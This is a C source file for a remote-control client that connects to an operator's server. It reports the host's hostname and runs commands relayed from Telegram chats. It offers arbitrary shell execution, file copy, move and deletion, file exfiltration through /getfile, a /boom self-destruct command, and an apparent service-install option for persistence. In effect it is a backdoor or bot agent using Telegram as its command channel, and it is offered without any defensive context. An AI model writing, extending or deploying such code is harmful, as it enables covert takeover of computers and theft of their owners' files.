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client-d.c
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client-d.c
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#include "include/common.h"
#include "Telegram/telegram.h"
#include "Telegram/common.h"
#include "include/util.h"
#include <sys/socket.h>
#include <arpa/inet.h> //inet_addr
#include <sys/stat.h>
#include <sys/time.h>
#define OP_START '\\x02'
#define OP_STOP "\x03"
int changecommand(char *id,char *text,char *pName);
int main(int argc , char *argv[])
{
int socket_desc, index = 0, index1 = 0, potnumber_client;
char message[2000], server_reply[2000], word_copy_message[150];
struct sockaddr_in server;
struct timeval tv = {30, 0};
i_am_root();
char arg[100];
strcpy(arg, argv[0]);
potnumber_client = atoi(argv[2]);
memset(word_copy_message, 0, 150);
//Create socket
//If cannot create socket it return value of socket_desc valuable = -1
socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (argc < 3) {
fprintf(stderr, "Usage: %s <server> <port>\n", argv[0]);
exit(1);
}
//Check is init state
if(argc > 3){
if(strcmp(argv[3],"-init") == 0){
printf("[+] Initial Service Setting [+]\n");
initSetiing(argv[0],argv[1],argv[2]);
}
}
if (socket_desc == -1)
{
printf("Could not create socket");
}
while(1){
server.sin_addr.s_addr = inet_addr(argv[1]);
server.sin_family = AF_INET;
server.sin_port = htons(potnumber_client);
//Connect to remote server
//If cannot connect to server it return value of (connect(socket_desc , (struct sockaddr *)&server , sizeof(server)) < 0 and end program
while(1) {
socket_desc = socket(AF_INET , SOCK_STREAM , 0);
server.sin_addr.s_addr = inet_addr(argv[1]);
server.sin_family = AF_INET;
server.sin_port = htons(potnumber_client);
if(connect(socket_desc , (struct sockaddr *)&server , sizeof(server)) >= 0) {
printf("Connected\n");
break;
} else {
printf("Try to connected\n");
usleep(3000000);
}
}
//send client hostname to server
char hostname[1000];
bzero(hostname,sizeof(hostname));
getHostname(hostname);
if(write(socket_desc,hostname,sizeof(hostname)) < 0){
printf("ERROR: Can't send hostname to server.");
}
printf("Hostname: %s\n",hostname);
char chat_id[60];
char chat_text[4098];
char buf[3];
char status[3];
int status_len;
while(1){
bzero(chat_id,sizeof(chat_id));
bzero(chat_text,sizeof(chat_text));
bzero(buf,sizeof(buf));
bzero(status,sizeof(status));
//Check status
while(1){
if(write(socket_desc, "1", 1) < 0){
perror("Can't write.\n");
close(socket_desc);
};
while((status_len = recv(socket_desc, status , 3, 0)) > 0)
{
status[status_len] = '\0';
if(strlen(status) > 0){
break;
}
}
if(strcmp(status, "1") == 0){
break;
}
sleep(3);
}
//Check chat id
if(read(socket_desc, chat_id , 50) < 0){
perror("chat_id failed\n");
close(socket_desc);
}
printf("%s\n",chat_id);
//Check revieve chat text
if( read(socket_desc, chat_text , sizeof(chat_text) ) < 0)
{
perror("recieve failed");
close(socket_desc);
}
if(strlen(chat_id) < 1) continue;
printf("%s\n",chat_text);
int exec_status;
exec_status = changecommand(chat_id,chat_text,argv[0]);
//combine all message_box
FILE *fp, *error_file, *exe_file;
fp = popen("touch result.txt","r");
fp = popen("touch error.txt","r");
if(exec_status == 0){
sleep(1);
telegram_send_act(chat_id, "typing");
char buf[2000], msg[2010];
bzero(buf,1999);
exe_file = fopen("result.txt","r");
fseek(exe_file, 0, SEEK_END);
int result_len = ftell(exe_file);
rewind(exe_file);
fclose(exe_file);
if(result_len == 0)
{
error_file = fopen("error.txt","r");
if(error_file != NULL)
{
while(!feof(error_file)){
memset(buf, 0, sizeof(buf));
int bufflen = fread(buf, 1, sizeof(buf), error_file);
buf[bufflen] = 0;
}
}
fclose(error_file);
//Chat is not buf, It's plain text >> IF check other Buf --> No output
if(strlen(buf) <= 0){
strcpy(buf, "No output");
}
char hostname[2000];
getHostname(hostname);
sprintf(msg, "Result from `%s`\n```\n%s\n```", hostname, buf);
telegram_send_act(chat_id, "typing");
telegram_send_msg(chat_id, msg);
printf("%s\n", buf);
bzero(buf,1999);
}
else if(result_len < 1024)
{
exe_file = fopen("result.txt", "r");
if(exe_file != NULL){
while(!feof(exe_file)){
memset(buf, 0, sizeof(buf));
int bufflen = fread(buf, 1, sizeof(buf), exe_file);
buf[bufflen] = 0;
}
}
fclose(exe_file);
char hostname[2000];
getHostname(hostname);
sprintf(msg, "Result from `%s`\n```\n%s\n```", hostname, buf);
telegram_send_act(chat_id, "typing");
telegram_send_msg(chat_id, msg);
printf("%s\n", buf);
bzero(buf,1999);
}
else{
//sending_exe.log
telegram_send_act(chat_id, "upload_document");
sprintf(msg, "Result from `%s`", hostname);
telegram_send_msg(chat_id, msg);
telegram_send_file(chat_id, "result.txt");
printf("send result.txt\n");
}
}
fp = popen("rm result.txt","r");
fp = popen("rm error.txt","r");
}
}
}
//Check some command to change for worked
int changecommand(char *id,char *text,char *pName) {
char text_build[4000], command[4000],cmdArg[4000];
char path[4000];
int start_index, index = 0, length;
int space_loc;
int space_found=-1;
bzero(command,4000);
bzero(cmdArg,4000);
getNowPath(path);
getpName(pName);
strcpy(text_build, text);
length = strlen(text);
//Get buf
for(start_index=0; start_index < length; start_index++) {
if(text_build[start_index] == ' ' ){
space_loc = start_index;
space_found = 1;
break;
}
}
if(strchr(text_build,' ') == NULL){
space_found = -1;
telegram_send_act(id, "typing");
if(strcmp(text_build,"/shell") == 0){
telegram_send_msg(id,"/shell <Unix-commad>");
// printf("argument not found,\n");
}
else if(strcmp(text_build,"/cp") == 0){
telegram_send_msg(id,"/cp [Option] <Source> <Destination>\n");
}
else if(strcmp(text_build,"/mv") == 0){
telegram_send_msg(id,"/mv [Option] <Source> <Destination>\n");
}
else if(strcmp(text_build,"/rm") == 0){
telegram_send_msg(id,"/rm [OPTION] <File>\n");
}
else if(strcmp(text_build,"/mkdir") == 0){
telegram_send_msg(id,"/mkdir [OPTION] <Directory>\n");
}
else if(strcmp(text_build,"/getfile") == 0){
telegram_send_msg(id,"/getfile <File>\n");
}
else if(strcmp(text_build,"/boom") == 0){
boom(pName);
}
else if(strcmp(text_build,"/gethostname") == 0){
getHostname(text_build);
telegram_send_msg(id,text_build);
}
return -1;
}
// Get Path
strncpy(command,text_build+1,space_loc);
command[space_loc-1] = '\0';
strncpy(cmdArg, text_build+space_loc+1,length-space_loc);
cmdArg[length-space_loc] = '\0';
bzero(text_build,4000);
if(strcmp(command, "shell") == 0 && space_found != -1)
{
sprintf(text_build, "%s",cmdArg);
exeCMD(text_build);
return 0;
// strcpy(command_detail, "Exec shell commands with timeout.");
}
else if(strcmp(command, "cp") == 0 && space_found != -1)
{
printf("%d",space_found);
sprintf(text_build, "%s %s",command,cmdArg);
exeCMD(text_build);
return 0;
// strcpy(command_detail, "Exec shell commands with timeout.");
}
else if(strcmp(command, "mv") == 0 && space_found != -1)
{
sprintf(text_build, "%s %s",command,cmdArg);
exeCMD(text_build);
return 0;
// strcpy(command_detail, "Exec shell commands with timeout.");
}
else if(strcmp(command, "rm") == 0 && space_found != -1)
{
sprintf(text_build, "%s %s",command,cmdArg);
exeCMD(text_build);
return 0;
// strcpy(command_detail, "Exec shell commands with timeout.");
}
else if(strcmp(command, "mkdir") == 0 && space_found != -1)
{
sprintf(text_build, "%s %s",command,cmdArg);
exeCMD(text_build);
return 0;
// strcpy(command_detail, "Exec shell commands with timeout.");
}
else if(strcmp(command, "getfile") == 0 && space_found != -1)
{
printf("cmd Arg: %s\n",cmdArg);
telegram_send_file(id,cmdArg);
return -1;
// strcpy(command_detail, "Exec shell commands with timeout.");
}
}